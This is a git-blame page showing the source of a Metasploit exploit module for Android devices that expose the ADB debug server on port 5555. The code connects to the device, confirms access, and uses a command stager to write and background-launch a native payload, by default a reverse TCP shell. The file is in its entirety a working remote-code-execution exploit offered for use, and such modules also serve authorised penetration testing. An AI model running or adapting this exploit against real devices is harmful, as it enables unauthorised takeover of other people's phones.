Files
metasploit-gs/modules/exploits/android/adb/adb_server_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

88 lines
2.4 KiB
Ruby
Raw Normal View History

2016-01-02 14:13:54 -06:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2016-01-02 14:13:54 -06:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2016-01-02 14:13:54 -06:00
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Android ADB Debug Server Remote Payload Execution',
'Description' => %q{
Writes and spawns a native payload on an Android device that is listening
for adb debug messages.
},
'Author' => ['joev'],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' },
'Platform' => 'linux',
'Arch' => [ARCH_ARMLE, ARCH_X86, ARCH_X64, ARCH_MIPSLE],
'Targets' => [
['armle', { 'Arch' => ARCH_ARMLE }],
['x86', { 'Arch' => ARCH_X86 }],
['x64', { 'Arch' => ARCH_X64 }],
['mipsle', { 'Arch' => ARCH_MIPSLE }]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2016-01-01',
'Notes' => {
'SideEffects' => [ ARTIFACTS_ON_DISK ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
}
)
)
2016-01-02 14:13:54 -06:00
register_options([
Opt::RPORT(5555),
OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/'])
])
2016-01-02 14:13:54 -06:00
end
def check
2016-01-02 22:41:38 -06:00
setup_adb_connection do
device_info = @adb_client.connect.data
print_good("Detected device:\n#{device_info}")
return CheckCode::Vulnerable
2016-01-02 14:13:54 -06:00
end
CheckCode::Unknown
2016-01-02 14:13:54 -06:00
end
def execute_command(cmd, _opts)
2016-01-02 22:41:38 -06:00
response = @adb_client.exec_cmd(cmd)
print_good("Command executed, response:\n #{response}")
2016-01-02 14:13:54 -06:00
end
def exploit
2016-01-02 22:41:38 -06:00
setup_adb_connection do
device_data = @adb_client.connect
print_good("Connected to device:\n#{device_data.data}")
2016-01-02 14:13:54 -06:00
execute_cmdstager({
flavor: :echo,
enc_format: :octal,
prefix: '\\\\0',
temp: datastore['WritableDir'],
linemax: Rex::Proto::ADB::Message::Connect::DEFAULT_MAXDATA - 8,
2016-01-07 02:26:01 -06:00
background: true,
nodelete: true
2016-01-02 14:13:54 -06:00
})
end
end
2016-01-02 22:41:38 -06:00
def setup_adb_connection(&blk)
print_status('Connecting to device...')
connect
@adb_client = Rex::Proto::ADB::Client.new(sock)
blk.call
ensure
disconnect
2016-01-02 14:13:54 -06:00
end
end